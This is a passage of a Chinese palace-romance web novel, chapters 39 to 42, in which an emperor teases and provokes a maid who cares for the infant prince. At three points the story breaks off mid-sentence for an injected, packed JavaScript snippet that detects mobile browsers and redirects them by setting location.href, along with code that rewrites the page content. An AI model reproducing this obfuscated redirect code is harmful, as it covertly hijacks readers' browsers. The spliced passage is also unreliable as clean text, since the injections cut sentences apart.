一杯温茶被沈青从另一张桌子上放到纪宸手边的茶几,刚要稳当放上去时,纪宸伸出了手,沈青紧急打了个弯,将茶奉到纪宸的手上。 纪宸的手就那么放着,正常人奉茶很难不碰上去。 但沈青经验丰富,又想到皇上可能厌烦她,那必不可能再加重这种厌烦,万一皇上突然将她从大皇子身边调走怎么办? 毕竟皇帝的命令高于皇后。 于是沈青很小心地没碰到纪宸的手,做完奉茶的任务,她自己都要赞一声完美。 然后她很自然地抬头看了一眼。 触及纪宸一瞬间微妙沉落的脸,嘴边刚想凝出的笑意便利索地收了回去。 若是半个月前沈青定然嫌弃自己抬眼这个动作不够规矩,可自从来了大皇子处,她好像就放飞了,一些小动作上已经来不及掩饰。 当然,现在不是想这的时候,她怎么觉得,皇上好像有点阴晴不定。 明明那天从降萼轩回来时还好声好气,过了两天她就去送了那么一回汤,便嫌弃地不得了,不许她再去乾清宫。 然后是这次,她心知他烦她,便在对方来看大皇子时,尽量不去惹眼,安安静静。 可就是这样了,他却要点她出来。 这么多人,专让她奉茶,难道就因为她干过这活就得一辈子干这活? 沈青真是猜不透纪宸的心思。 人家也不愧是当皇帝的。 诡谲莫测。 他脸上表情变动很小,常人很难捕捉到,但沈青就是看清了,就是发觉出对方沉脸了。 纪宸握住茶盏,喝了一口,然后将其放到桌子上,目光移到了大皇子身上。 大皇子刚出生半个月,婴儿觉多,不是吃就是睡,偶尔也睁眼四处看看,由奶嬷嬷逗一逗。 皇上来得不巧,现下大皇子刚吃过奶,已经睡了片刻了。 沈青顺着纪宸的动作落到茶盏上,见茶水下得少,蹦出一个念头,不喝水净折腾人。 不过这个想法一出,沈青自己都觉得好笑。 然而,纪宸觉得自己手脏了:“湿帕子。” 沈青很想将任务推给钱继,但没办法,只能主动听命。一则方才皇上点她名了,二则这里她熟,让钱继去,说不定找不到皇上要的东西。 她将湿帕子递到纪宸手中,特意避开了肌肤相贴。 纪宸换了个更舒服的坐姿,觉得有点无聊:“拿一副棋具。” 沈青有点无语,但棋盘这东西大皇子这里还真有。 大皇子出生,皇上太后和宫中嫔妃送礼,杂七杂八的,其中就有一套棋具,棋子还是玉制的,质感温润细腻,不是凡品。 沈青道了声是,去库房找来安放着的棋具,然后摆在纪宸面前。 纪宸就这样摆了个棋局,自顾自解起来。 可能是想从小熏陶大皇子吧。 沈青心里念叨着皇上这次来看大皇子停留的时间太久了,不过纪宸是先看了眼皇后才来大皇子这,必是没人敢催他。 皇后更是恨不得皇上在大皇子这儿呆的越久越好,总好过去后宫给嫔妃们机会。 且大皇子需要这份父子之情。 忽然,一枚白棋从棋盘上落了下来。 沈青看了一眼钱继,他不动如山,不由默默无语,这次她也不需要皇上吩咐了,伶俐地捡起来,然后在快要接触纪宸伸出来的掌心时,手一松,完成棋子的交接。 仍未碰到这位尊贵的皇上一丁点。 沈青唇边勾起一抹笑,准备再次功成身退。 然而,一只手精准掐住了她脸颊上的乱肉,因为他的手掌很大,沈青下半张脸几乎落到了他的掌心,更衬得那张小脸漂亮精致。 沈青被挟的一愣,身子往皇上那边倾斜,眼睛睁得圆润,无措极了,却也不能表露愤慨,因为这只手是皇帝的。 纪宸另一只手还捏着棋子,这只手就肆意揉捏起小宫女的脸颊软肉。 “皇上??” 纪宸面上平淡,心中却很恶劣。 不是想将回避贯彻到底吗?他偏就不如她意。 纪宸也想不通为何过分在意这个小宫女,大概是因为她讨好他身边的任何人乃至于皇后,偏偏避开他,而让他感到不舒坦。 察觉到这种差别的开始,是他自作多情以为她这是喜欢他的表现。 然而不是,压根没有,沈青一点都不喜欢他。 人人都对他趋之若鹜,少一个沈青其实没什么,纪宸这么想,想啊想,发现还是会想到沈青,这才发现这套说辞说服不了自己。 他好像在意沈青。 但是,怎么可能呢,纪宸不愿意接受这种可能,恶劣便由此而生,于是便生出了戏弄对方的心思。 结果一目了然,没对沈青造成任何影响,还特意连不小心碰他一下都不愿。 好似他是什么脏东西…… 纪宸更不舒坦了,于是他要沈青也不舒坦。 纪宸望着沈青的双眸,将她的情绪一览无余——不明白,惶恐,以及被他迷惑的眩目? 原来她也会被吸引吗? 沈青不是故意的,一个长的很俊,五官挑不出任何错的人,将脸放大到面前,任谁都要被迷惑一下。 她是第一次这么近距离观赏皇帝的美貌,数代美人的结晶之物,封建王朝的集大成之作。 俊美又尊贵,又将睥睨的视线落到她脸上,竟让她觉出了性感。 且纪宸又不发话,她被蛊惑实在太正常了。 纪宸缓缓加重力道,将沈青的娇嫩的脸皮搓出一道红痕。 他要让沈青怕他,畏他,惧他。 他会在这之后放过她,从而让她转转反侧,胡思乱想,浮想联翩,要她也为他心神不宁。 这便是纪宸思来想去的报复。 仍要她当个小宫女,却要喂养她的野心,点燃她的欲望,让她攀附不属于自己的东西,最终狠狠摔落。 也许最后他会发善心给予沈青些许甜头……也许什么都不给。 这样才有趣,不是吗? 沈青再次唤道:“陛下?” 纪宸倏然笑了一下。 教科书式的孔雀开屏,沈青作为近到离谱的人,受到的冲击是最大的,沈青是美人,但美人亦会欣赏美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356909|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好事物。 她听到自己的心脏在砰砰跳,好像坏掉了。 纪宸这时松开手,沈青慢了半拍才反应过来。 纪宸站起来,对钱继等人道:“走吧。”似乎方才临时起意掰着小宫女的脸看是个不值一提的小事,现下只是恢复了他原本那副淡然无趣的模样。 沈青:“??” 等人都走了,沈青还没回过神,心中只循环着长的好啊长的好。 并咬牙切齿,这个世界真是不公平,有人一出生就在罗马,上大学的年纪就大权在握,生杀予夺,长的还跟个男模特,就算穷困潦倒也能走秀糊口了。 她揉了揉脸,等问过屋内那个老实本分的奶嬷嬷脸上红痕消了后,便出去将其他奶嬷嬷叫回来,让她们照看大皇子。 至于方才的事,那是皇帝,他无论做什么都不奇怪,不能指摘,沈青一个宫女又如何能计较。 被人捏着脸好一通看,现在想想真是不爽,然而无能为力,只能将这段记忆上锁,丢到脑海深处,生怕再忍不住愤懑和想起被蛊惑时的尴尬。 沈青继续着晌午第一个赶到小厨房,吃过一大碗饭后早早午睡,起来后看过大皇子无恙,便在大皇子身边干自己事的日常。 至于被皇上影响? 不好意思,没有接收到信号。 比起这个,她更想抱着自己的黄金傻乐。 纪宸尚不知道自己攻心的第一步就失败了,心中仍踌躇满志,挑选着合适的日子再去大皇子那边一趟。 前期钓鱼必须打好窝,不然,鱼又怎么会上钩? 其实纪宸知道他的身份地位权势就是最好的诱饵,但因为沈青的“不屑一顾”,自然只能由他亲自引诱。 好在对于触碰沈青脸颊的手感,纪宸觉得不坏。 在这之后,大皇子满月之前,皇帝统共来了一次,那一次,沈青与皇上对视了三次,被折腾了四次,被夸好看了一次。 沈青:我知道我很好看,谢谢,不必提醒。 她在心中插科打诨,因为皇上好像没有因为讨厌就定罪她的意思,这让她放心了许多,对纪宸也能平常心了。 随便吧,爱怎么样怎么样。 只是照旧谴责钱继拿着月奉不干事,还要用那种我全都懂的眼神看她。 沈青觉得,好莫名其妙啊,便果断抛之脑后了。 大皇子的满月宴这天,热闹非凡,且大皇子的名字也定了下来,名叫纪璨,是玉的光泽明亮的意思。 之后,皇后恢复了后宫请安,并向皇上为何才人请封贵人,一连越了两级,皇上应允,皇后亦对何贵人赏赐了许多。 宫中嫔妃这才发觉有孕和无孕的真正差别,前者已经成了宝贝疙瘩,后者如楚贵人,即便投靠了德妃,又有恩宠在身,入宫时是个贵人,现下还是个贵人,有嫣婕妤在前头,恐怕得等到年末时候位份才能往上升一升。 到时焉知皇后会不会再给何贵人升位份,况且何贵人顺利生产后大抵还要再提拔一次。 皇子皇女的生母,位份低不到哪儿去。 而嫔妃中,郑才人更是嫉妒的要发疯了,她们都不知道,若当时她投靠了皇后,这时怀孕的就是她了,当贵人的就是她了! 偏偏,她当时昏了头,竟然拒绝了皇后。 40. 第 40 章 沈青照看大皇子,对后宫的事自然闭塞了许多。 譬如何贵人不小心在御花园摔了一跤,后查出是石子路上被抹了油,有人专引何贵人往那边去,倒油的宫人被找了出来,指认是郑才人吩咐的。 何贵人险些小产,只能卧床静养,郑才人被贬为宝林。 譬如贤妃解禁后,皇上去她的长春宫坐了坐,意味她所做的事便翻篇了,蒋才人是太后的人,亦属贤妃阵营,但蒋才人和林嫔关系似乎不好,在长春宫中,林嫔在,蒋才人便会掉头就走。 蒋才人才气盛,便也心高气傲,她看不上林嫔当初打压嫣婕妤的架势。 再譬如嫣婕妤,自迁宫后得到的宠爱就不如从前,反倒楚贵人和陈美人,一清丽一娇柔,渐渐得宠。 楚贵人和陈美人同是德妃的人,陈美人与德妃联系更加紧密,陈美人得宠于她更有利,且若怀孕,生下的孩子抱到德妃膝下德妃想必也更放心。 这些事都是发生许久后,沈青才得知的,算是当个八卦来听,心中并没有什么实感。 心道还不如她专门从宫内小太监手里淘到的话本好看,什么霸道王爷,什么冷酷杀手,这才是真正的带感。 沈青的生活很平淡,唯一的波澜大概是皇上时不时过来看望大皇子时撩拨她一二。 一来二去,她便和钱继熟了。 钱继这个人也好懂,估计是和他师父钱全忠只学武功的关系,没什么心眼,能叫人一眼看出皇上今日心情如何。 而纪宸这边,钓了两个月,如何没感受到沈青这姑娘心冷得跟块石头似的,压根不为所动,这让他不可思议到气恼再到感到好笑。 中间为了琢磨这种姑娘的心思,纪宸翻了后宫,发现只有李美人与沈青气质类似,中间一番波折,发现两人压根不同,从李美人身上学得的经验根本不适配沈青。 李美人是知晓男女之情的,而沈青,虽然很不想承认,但确实,她还没开窍。 整天不知道把心思放在了哪里,可能是吃饭上吧,明明那么一个柔弱拂柳般的美人,脸颊上的肉却很软和。 沈青偶尔有意动,反而是他愠怒冷脸时压迫力起来之时,每每这个时候钱继都要悬着心,反倒是她,看着乖巧,实则脑子里不知道想的什么,耳朵微红,一双眼睛润的厉害。 她似乎喜欢他冷脸? 为了验证这个结论,纪宸特意照着镜子练习了自己冷脸的模样,淡然的人冷脸和一直冷酷的人冷脸冲击度是不一样的。 比如兰婕妤,一直冷着脸大家也就不去琢磨她的心情是好是坏了,毕竟好坏都是那副模样。 而纪宸脸上一寒,乾清宫的宫人都已经默默跪了下去,请陛下息怒,猜想着是否是朝堂上的事惹了陛下不快。 可自登基那一年陛下经常被臣子气得吃不下饭外,现在已经好多了,一年到头涵养都绝佳。 这日,纪宸去看大皇子。 沈青照旧在身边侍奉,不过侍奉的主要还是大皇子。 现下大皇子已经两个多月了,天气渐冷,马上要步入十二月份,大皇子穿的衣服也稍微厚了些,屋内已经烧上了地龙,暖烘烘的。 大皇子长的白白胖胖,头发多到贴着脑袋长了一层,一双眼睛乌溜溜的,也不闹人,性子瞧着很安静。 沈青想,这份性子大抵随了皇上皇后,毕竟这二人都很沉稳。 纪宸觑了眼纪璨,逗狗似的挑了挑婴孩的下巴,纪璨望了眼这个陌生又熟悉的男人,对他身上绣的金龙式样毫不动心,扭了扭脸以作拒绝,不哭不闹。 纪宸想,果然婴儿跟谁呆久了,就沾染了几分谁的习性,当下也起了兴致把皇子抱到怀里。 婴儿软绵绵的身体让纪宸怎么抱怎么不得劲,不敢用力不敢不用力,只能僵着胳膊。 又不好放下,因为沈青还在旁边看,若他刚抱起来就撂手,岂不是显得很没用? 沈青看着大皇子,发现大皇子没有不舒服的意思,便未动,只等皇上不抱的时候将大皇子接过来。 日日看着奶嬷嬷哄大皇子,沈青也学了几招,简单的抱娃还是会的。 过了一会儿,纪宸抬头看向沈青,沈青接收到视线,明白过来,开口道:“皇上,将大皇子交给奴婢吧。” 说着伸出了手。 纪宸如释重负,刚想把纪璨这个小家伙交出去,只听纪璨咧嘴一笑,露出没牙的嘴,沈青顿感不妙,凝神看去,果然,大皇子尿了,被纪宸眼疾手快悬空拎着。 纪宸的脸一瞬间黑如锅底。 纪璨还不知发生了什么,啊啊拍着手要去找沈青。 沈青心底一乐,面上还要勉强自己不表露出来。 果然,婴孩才没有什么阶级分明,哪里知道什么人该得罪,什么人不该得罪,又哪里知道面前这个人是他最应讨好的父皇。 对着就送了一波温暖。 顺势,沈青收回了手,看向奶嬷嬷,她也只会在小家伙奶香奶香的时候抱一抱,这种时候还是有那么一点点嫌弃的。 奶嬷嬷收到示意,上前将大皇子接到手中,把大皇子放到榻上,开始换衣服。 “沈青,跟上。”纪宸黑着脸走出里屋,吩咐钱继找一件他的衣裳,让这里唯一的宫女沈青亲自为他换上。 沈青看了眼大皇子,见他对于是奶嬷嬷来抱他也不无不满,便跟着纪宸出来。 屏风后,沈青这才明白皇上叫她是来干什么,身体一僵。 好吧,皇帝穿衣用膳都要人服侍,说不定人家在乾清宫里也有貌美宫女伺候,在这里指挥她一个小宫女再合理不过了。 至于纪宸喜欢她,特意吩咐她干这事一是垂怜就更不可能了,任何一个皇上看上宫女,最大的可能是将人纳进后宫,而非暗搓搓针对,特意磋磨,然后再给个小小的甜枣。 又不是小学生。 沈青默默叹了口气,开始服侍娇贵的皇上换衣。 沈青双臂一抬,将纪宸身上的旧衣脱下来,指尖捏着一角放到托盘上,然后取来新衣转着圈给纪宸穿上。 不转圈不行,纪宸是被服侍惯了的主,只会抬抬胳膊,比之大皇子的配合都不如。 绕到纪宸身前,沈青低头将衣前的系带系上。 以纪宸的视角,略略低头,便能将人纳入眼中,圈一下手臂,就能将人困到怀中,但他什么都没做,目光一凝,看到沈青发髻上的玉簪。 于是他略一抬手,想将玉簪拨落,玉的东西素来娇贵,轻轻一磕碰便会碎裂,稍有不完美,整个簪子便不好看了。 但没想到玉簪插的紧,还牢牢别在发髻中。 纪宸:“……” 沈青感觉到发髻被拨动了一下,还在困惑是不是错觉,纪宸的手便抬起了她的下巴,而后弯腰凑近,鼻子与她脖颈的肌肤只差几厘米的距离便贴上了。 沈青还抓着纪宸的衣裳,不知道他又莫名其妙在干什么。 她整个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361748|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陷入了纪宸身上带有的异香中,这个香她在任何人身上都没有闻到过,除了纪宸。 大抵是某种稀有的,专进贡给皇室的香,被纪宸拿来薰衣服,或是常年在乾清宫殿内的香炉中燃着,以至于他整个人沾上了这股味道。 这一刻的感官被无限放大。 纪宸抵在她的脖子处嗅了嗅,似乎为了闻什么香气,可沈青从不用熏香,她害怕有人在她用的东西上动手脚,从而害了大皇子,所以她也不让奶嬷嬷们用香,只要求她们穿着干净即可。 那纪宸在嗅什么? 沈青有些许不自在,也不敢再闻纪宸自带的香气。 于是她转移注意力,目光落到纪宸一侧的头发上,盯着一处出神。 如果此刻身份转换,沈青是皇帝,纪宸是小宫女,纪宸这个小宫女主动往沈青这个皇帝身上靠,大概很符合勾引二字。 现下身为皇上的纪宸主动凑近,反而让人摸不清他的心思。 沈青一双眼睛被这香薰得朦胧,有点困。 恰这时,纪宸站直身,沈青努力睁大眼睛,这样一来,她的目光便有些心潮难已的意思,她的手,还紧紧揪着他的衣服。 纪宸舒服了,连看那支玉簪都觉得没那么碍眼。 这时候,正应该再接再厉,省的下次来这个小没良心的直接将他忘了。 可用什么撩拨呢?纪宸暗恨今日没带个簪子,手指摸上了腕上缠了两圈的串珠,这是他最最最喜欢的珠串…… 等从屏风后走出来,沈青摸了摸藏在衣领下贴着肌肤的珠串,不由自主回想起皇上方才说的话。 “这串珠子需要女子干净的体香熏染三个月,待三个月后你亲自还给朕,莫要叫别人知晓,徒增风波。” 这是属于他们两人的秘密,纪宸的意思暧昧,无论换谁都会沉溺于这份温情中。 纪宸身上的熏香使人迟钝,他说完这句话,沈青只觉得原来如此,怪不得嗅她,权贵们的癖好嘛,她懂。 鬼使神差下,她问:“睡觉也贴身戴着吗?” 纪宸的目光一滞,干绷绷道:“自然。”可恶,差点就被反撩拨了。 直到从屏风后出来,远离了纪宸,那股惑人的香气淡去,沈青才觉出了不对。 如今戴在她脖子上,贴在她衣服下的串珠,阖宫上下见过皇上的人都有印象,因为这是皇上一直在手中把玩的那串,轻易不假手于人。 也就是说,只要她显露出来一点,就能在后宫掀起滔天巨浪,更遑论她主动让人知晓了,以她的性子,恨不得藏得更深,不叫串珠显露,不叫旁人察觉分毫。 更不可能不戴在身上,万一皇上下次来检查她有没有好好将体香染到珠子上怎么办?她总不能从别处拿出来供其查看吧。 皇命不可违,可戴在身上,又是这样的奇怪。 串珠不硌,但存在感很强,不容忽视,时时刻刻在提醒她戴着的是什么。 等皇上走的时候,沈青还在走神,她很想对皇上说换个人吧,但没有勇气拦住皇上道明此事。 最好的拒绝时候已经被她错过了。 万恶的封建时代,将女子当成一件名贵的香料。 沈青抬起手臂嗅了嗅,疑惑,她哪儿来的体香? 难不成还是特定的人才能闻到? 还是说纪宸嗅的够深? 怀着疑虑戴着珠子,沈青今日用饭都用的不香了,也没心思再去疼爱她的黄金了。 41. 第 41 章 这之后,在冬日的第一场大雪下来之前,纪宸再没来看过大皇子,似乎也忘了这件事。 沈青心神不宁了一阵,便将此事放下了,今年冬天格外的冷,听奶嬷嬷说,这样厚的雪,穷人的房子都不知道要压塌多少间,真是造孽。 沈青想起沈家,自进宫以来,因通信不便,她和家里都是三四个月才寄送一次信,信里说的也不多,沈青说她在宫里一切安稳,沈家诸人也说他们过得不差。 但从寄回来的信纸成色呈断崖式下跌,沈青还是觉出了不对,家里的日子恐怕不怎么好过。 沈青入宫前,她爹作为沈家三房便跟家里分了家,自立门户,从沈家分了几间铺面和京西的一座宅院并两千两纹银。 沈家作为京中有名富商,那已经是沈青母亲嫁给沈家三郎还要之前的事,不然沈家未必会允许沈青的父亲娶沈青的母亲。 但瘦死的骆驼比马大,沈青幼时就在沈家族学进过学,那时还尚可窥见沈家过去的豪奢之貌。 沈家的子嗣太多,分家已经不是第一次了,沈青进宫前正好砍到她爹这一支,给些东西打发了,自此不用再受负累。 对于普通人家,这些东西可以让一大家子富足地过一生,更不必说还有几间有些进项的铺子,继续经营亦或者卖掉,又是一笔惹人艳羡的银子。 但奈何沈父自幼在沈家接受熏陶,拥有经商的打算,在沈家,尚有人为他善后,但分出来后,就得盈亏自负了,且一大家子因为过去过的不差,分家后生活水平短时间也降不下来。 从沈青在宫中第一次收到家中寄来的信,只看墨迹和轻嗅信纸上还带着淡香便知道了。 但这一次信纸粗糙的都磨手,纸张雪白但不均匀,比之上一次还要差,更比上她刚入宫家里写信用的纸了。 沈青叹息一声,有道是不是一家人不进一家门,他们都是报喜不报忧的性子。沈青只对家中提过她升迁到了一位位高权重的娘娘身边——皇后娘娘也是娘娘,从前的苦楚不提一句,也没问家里要过银子。 家里的态度同她如出一辙,无论怎么样都是好,很好,二弟聪颖,三妹四妹身体健康,五弟壮实……间或提起外祖那边,也是说外祖父祖母身子骨结实,拿得起刀砍得了肉。 对于沈父生意上的事一个字都不透露,兴许心虚吧。 至于沈青得了宫里娘娘的青睐,家中反应平平,做奴婢的哪会因跟了妃子就不苦的。 沈青和家里都有默契,只等她二十五岁被放出宫。 沈青又叹了口气,将一部分银两换做银票塞到回信中,但愿这次爹少亏一点,她爹虽不是个做生意的好料子,但对家人没得说。 这个家还是得她抗,等放出宫去,她就是沈家的大姑奶奶。 但出宫一事也说不准,毕竟她现在跟着大皇子,等大皇子五岁时会去上书房读书,届时若不需要她,她就能出宫荣养。 若是不放她走,那就有的耽搁了。 将信寄出去,沈青进大皇子屋里之前拍了拍身上的雪,又立在外间等身体暖起来,才进去。 她进去的时候,大皇子身边只一个奶嬷嬷,平常都是要两个守着的,她去看了眼大皇子,见他睡得安稳,便也安心了,顺手拿起旁边桌子上的绣绷继续未完成的物件。 因为她女红学的并不好,便也没直接给大皇子绣贴身衣物,而是绣拳头大小的小老虎,填上棉花便是个小玩样儿,用来逗一逗大皇子。 沈青拿着绣绷准备坐到软榻上,却发现软榻那边不知为何降了帘子,里面隐隐绰绰,看不出什么,她心想大皇子的地方能有什么,便毫无防备掀帘进去了。 事实证明,大皇子的地方有他爹。 纪宸正拿着一本书在软榻上假寐,身边一个乾清宫的奴才都没有,兴是被他撵出去了。 而沈青回来时也没细看,只顾闷头走,不知道钱继等人是否停留在院中。 沈青见到皇上的那一刻,呼吸都放轻了,她觉得比起在软榻上偷懒她更想去大皇子身边守着。 然而纪宸忽然睁眼彻底断了她的念想。 遇见皇帝不请安肯定是不行的,沈青手里拿着绣绷,尽量行了个万全的礼:“奴婢参见皇上,皇上万安。” 纪宸抬了抬下巴,便是要人凑近的意思。 沈青往前走了两步,见人半躺着,便俯身倾耳。 “让朕看看朕的串珠。”他的声音沙哑,自带蛊惑。 不知道假寐了多长时间,应是时候不小。 沈青的脸庞腾一下烧了起来,纪宸如炬的目光盯着她脖子处看,又是那种声音,任谁都要给点反应了。 尤其是在这个相对密闭的空间,只有他们两人,声音大点都要被奶嬷嬷听见。 纪宸也许知道这件事有些不光彩,便稍稍压低了声音,就更显私密和暧昧了。 沈青将手上的东西放到地上,伸手到脖子处去摸索衣裳下的东西。 昨天她还琢磨着要不要偷懒几天,毕竟皇上已经许久没来大皇子这里了,更遑论记起此事,但最终碍于皇权,她还是没怎么敢。 封建社会的规则如此,她只能依循规则行事。 将串珠从脖子上取下来,纪宸适时伸出手,沈青抿唇将串珠交到他手中,便垂眼没再看。 因为贴身带得久了,珠子上自带温度,沈青察觉出了,纪宸在拿到手的那一刻也发现了。 “朕多久没来看……璨儿?” 沈青不明白纪宸问这个做什么,老实道:“一个月了。” 纪宸喟叹一声。 他是个从容的钓手,将鱼线放了一个月,不是不担心鱼又缩回去,但没想到鱼还是老样子,他洒下的鱼饵倒先认主了。 他拿着自己的东西反倒觉得手心发烫,分外不自在,仿佛不属于他一样。 纪宸将串珠拢进手心,似在将这沾染了小宫女气息的串珠重新驯服,仿佛这般,才能把属于他的烙印覆盖在串珠上。 实际上,若是沈青抬头看,便会觉出交融的含混意味。 刚从她身上拿出来,就被拢进了手心…… 偏偏沈青觉得自己脸红的奇怪,头便不自觉低啊低。 一根手指抵上沈青的额头,促使她抬起头,与纪宸平视,纪宸面无表情道:“给朕按按头。” 最近朝堂上的事多,折子看得他头昏脑胀,不然也不会在等人的这么一会儿功夫就睡了一觉,直到人进来才发觉,赶巧睁开了眼,不然他敢肯定,沈青一定会悄悄扭头就走。 宫里的宫人不发出动静已经是基本功了。 沈青双眼无辜,也轻声道:“奴婢不会。” 后宫嫔妃都还年轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368801|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自不会头疼,既然不会头疼,她学这些干什么? “不过奴婢可以去找钱继公公,让他来服侍皇上。”沈青往后退,准备把钱继叫进来。 纪宸闻言头更胀,若是将人放走,他特意空出的这半天不就作废了?于是不由分说便拉住小宫女的手腕,一个发力,往软榻上拉。 沈青惊得一闭眼。 气息不稳胡思乱想起来。 不是吧,不是吧,皇上不是讨厌她吗? 仓促间,她也想不到其他可能,只以为纪宸想在这儿睡她,以此来寻刺激。 毕竟宫人卑贱之躯,比起宫中的娘娘,自然可以随意玩弄。 纪宸捏住她的手,搭到额上,压了压眉吩咐道:“随便捏捏即可。” 哎? 沈青倏地睁眼,发现她确实被拉上了软榻,占据了里侧一角,刚刚被人拽着胳膊像拿风筝一样将她咻一下移动也不是错觉,但纪宸的最终目的确实不是睡她,而是单纯烦闷到等不及再去叫钱继,让她速速帮他缓解脑袋。 一双柔夷落在纪宸太阳穴两侧,纪宸面无表情的脸庞微微舒展。 沈青轻缓地揉着纪宸额头两侧,双腿在榻上很委屈地蜷着。 她的目光微微落在纪宸脸上,现在看来,他似乎不坏。 冷静下来,方才属实是她多想了。 自皇上登基以来,没听闻他幸了哪个宫女,又有哪个宫女成了官女子……兴许,他是不乐意让宫女上他的龙榻的,不然也不会没有一个消息传来。 那当初她离开杜宝林时,萱草亲自给杜宝林添的宫女,那位错过大选赶上了小选,以官家小姐的身份入宫成了宫女的,想要借此成为嫔妃岂不是错得离谱? 现在宫中再没听过那名宫女的动静,想必是认清了现实沉寂了下来。 沈青漫无目的地想着,自不会再猜测皇上是否看上了她,因为这太不靠谱了。 纪宸出声道:“再重些。” 沈青回神,连忙加重力道,她瞧着纪宸此时已经闭上了眼,便悄悄挪动了下双腿,谁知她这一动,纪宸也动了一下,脑袋寻了个更舒服的位置。 比起纪宸的自在,沈青挪动的幅度很小,双腿该难受还是难受,于是又默默挪了挪。 …… 不知什么时候,纪宸的脑袋已经靠进了她怀里,更要命的,似乎已经睡着了。 因为沈青偷懒将酸疼的手腕的放下时,纪宸也毫无反应。 她拿手掌在他眼前挥了挥,亦不见动静。 沈青:“……”要命,被纪宸压着,虽然只压了一部分,不算重,但她走不了了。 唯一的办法就是将人唤醒或晃醒。 “皇上?” 没醒。 但要让她直接扶着对方肩膀左右摇,她是绝对没这个胆子的。 不过叫不醒说明皇上睡得确实沉,沈青纠结的目光落到纪宸的侧脸上。 只要她动作轻些,应该不会醒吧。 片刻后,沈青蹑手蹑脚从榻上下来,收拾好她留下的痕迹,便退了出去,不带走一片浮云。 大皇子身边,奶嬷嬷还在尽职尽责照看大皇子,她的目光看向沈青。 沈青轻声道:“里面那位,也睡了。” 奶嬷嬷了然,没再多问,沈青也不需要过多解释。 42. 第 42 章 婴儿的啼哭声划破了室内的安宁,奶嬷嬷眼疾手快将大皇子抱起来,放在肩头拍着背哄,脸上带着焦急,竟一时忘了先检查一下大皇子有什么不适,或给大皇子喂奶。 只唯恐吵醒了软榻上睡着的皇上。 沈青听到哭声目露担忧,她亦发觉了奶嬷嬷为什么这般。 现在距离她离开软榻已经过去了一刻钟,虽然时间短,被吵醒了确实不好,但不如此时醒来回乾清宫继续睡。 以免皇上在软榻上落个腰酸背痛,她们在这里等的胆战心惊,大皇子也少个奶嬷嬷伺候。 于是她出声先稳住嬷嬷道:“不要急,你的职责是照顾好大皇子,其他不必管。先检查一下大皇子尿了没,他许是饿了,等哭得没那么急再喂奶。” 奶嬷嬷连道了两个好,勉强镇定下来。 她的经验比沈青丰富,慌张也是因为慑于皇上的威严,今天皇上来看大皇子时,满脸严肃,甚至拧着眉,让人手脚都不知道怎么放,又指了她留下来照顾大皇子,其余人出去,她作为奶嬷嬷压力就更大了。 皇上刚睡没多大会儿就被吵醒,即便是因为大皇子的啼哭,可追究下来,亦是奶嬷嬷的失职。 现在沈青出声,她一下子就想起方才沈青进帘里和帝王呆了好一会儿,主要是她刚刚也在心里默默琢磨这件事。 做奴才的也分被主子看在眼里和压根无视的,前者主子甚至记得名字,犯了错还会特意宽恕,后者即便被牵连,连喊冤为自己辩驳都没机会。 沈青就是前者,皇上信赖,皇后亲厚,将最要紧的大皇子都交给了她,且还不用忙前忙后,只用在旁边盯着别人干活就行,一般能到这种地位的宫人,无不是在宫中几十年,从小宫女熬成了姑姑,又从姑姑熬成了嬷嬷,才得一份清闲体面的活计。 有沈青挡在前面,想必皇上即便生气,责罚也不会过重…… 奶嬷嬷心神都在思考这事,手上还麻利地收拾好大皇子身上的脏污,给大皇子换了件干净的衣裳,抱在怀里喂奶,背过身,身体往沈青的方向靠了靠。 似是这样,才能感到心安。 即便她比沈青大了好几岁,清白人家,精挑细选作为奶娘入宫又如何,在宫里生存可真不看这个。 见大皇子哄住了,沈青也放心了,方才大皇子哭的整张脸通红,瞧着很可怜,任何人都免不了心神牵挂,更何况是看着大皇子从小小一团长成稍大一团的她。 大皇子喝着奶没声了,帘子里才传来声音:“把钱继叫进来,伺候朕梳洗。” 声音四平八稳,似是没什么起床气。 沈青抬高声音称是,然后出去找钱继。 怪不得她回来时没瞧见钱继等人,原来他们在茶室里边喝热茶边候着,茶室不在她回来的方向,即便将茶室灰扑扑的厚门帘折起来,方便听传唤,也不在她的视野范围。 乾清宫的宫人进去服侍皇上梳洗,沈青也另叫了一个奶嬷嬷进去伺候大皇子。 婴孩费人,一个奶嬷嬷肯定招架不住,纪宸图清净将人赶出去,难道寄希望于她沈青细心伺候大皇子吗? 绕了她吧,四个奶嬷嬷呢,不差她一个,她也就起个盯梢和吩咐的作用。 进去服侍的人一多,沈青本着这么多人注意不到她的原则,默默划水。 